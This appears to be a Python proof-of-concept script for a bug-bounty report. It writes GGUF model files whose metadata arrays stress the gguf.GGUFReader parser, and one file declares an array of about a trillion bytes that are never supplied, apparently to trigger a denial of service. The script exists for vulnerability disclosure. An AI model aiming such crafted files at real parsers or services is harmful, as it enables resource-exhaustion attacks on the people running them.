#!/usr/bin/env python3
"""Generate benign GGUF metadata-only parser stress files.

The files contain no executable payload and no tensor data. They only exercise
GGUF metadata array parsing in gguf.GGUFReader.
"""

from __future__ import annotations

import argparse
import hashlib
import struct
from pathlib import Path


GGUF_TYPE_UINT8 = 0
GGUF_TYPE_STRING = 8
GGUF_TYPE_ARRAY = 9


def pack_str(value: bytes) -> bytes:
    return struct.pack("<Q", len(value)) + value


def kv_string(key: str, value: str) -> bytes:
    return (
        pack_str(key.encode("utf-8"))
        + struct.pack("<I", GGUF_TYPE_STRING)
        + pack_str(value.encode("utf-8"))
    )


def kv_uint8_array(key: str, n: int, include_data: bool) -> bytes:
    data = b"\x41" * n if include_data else b""
    return (
        pack_str(key.encode("utf-8"))
        + struct.pack("<I", GGUF_TYPE_ARRAY)
        + struct.pack("<I", GGUF_TYPE_UINT8)
        + struct.pack("<Q", n)
        + data
    )


def gguf(kvs: list[bytes]) -> bytes:
    return b"GGUF" + struct.pack("<IQQ", 3, 0, len(kvs)) + b"".join(kvs)


def write_file(path: Path, content: bytes) -> None:
    path.write_bytes(content)
    digest = hashlib.sha256(content).hexdigest()
    print(f"{path.name}\t{len(content)} bytes\tsha256={digest}")


def main() -> None:
    parser = argparse.ArgumentParser()
    parser.add_argument("--out", type=Path, default=Path("artifacts"))
    parser.add_argument("--valid-count", type=int, default=250_000)
    parser.add_argument("--huge-count", type=int, default=1 << 40)
    args = parser.parse_args()

    args.out.mkdir(parents=True, exist_ok=True)

    marker = kv_string("huntr.marker", "GGUF_ARRAY_DOS_BENIGN_MARKER")
    write_file(
        args.out / "baseline_small_array.gguf",
        gguf([marker, kv_uint8_array("huntr.small_array", 16, include_data=True)]),
    )
    write_file(
        args.out / f"valid_uint8_array_{args.valid_count}.gguf",
        gguf([marker, kv_uint8_array("huntr.valid_uint8_array", args.valid_count, include_data=True)]),
    )
    write_file(
        args.out / "truncated_huge_uint8_array.gguf",
        gguf([marker, kv_uint8_array("huntr.truncated_huge_uint8_array", args.huge_count, include_data=False)]),
    )


if __name__ == "__main__":
    main()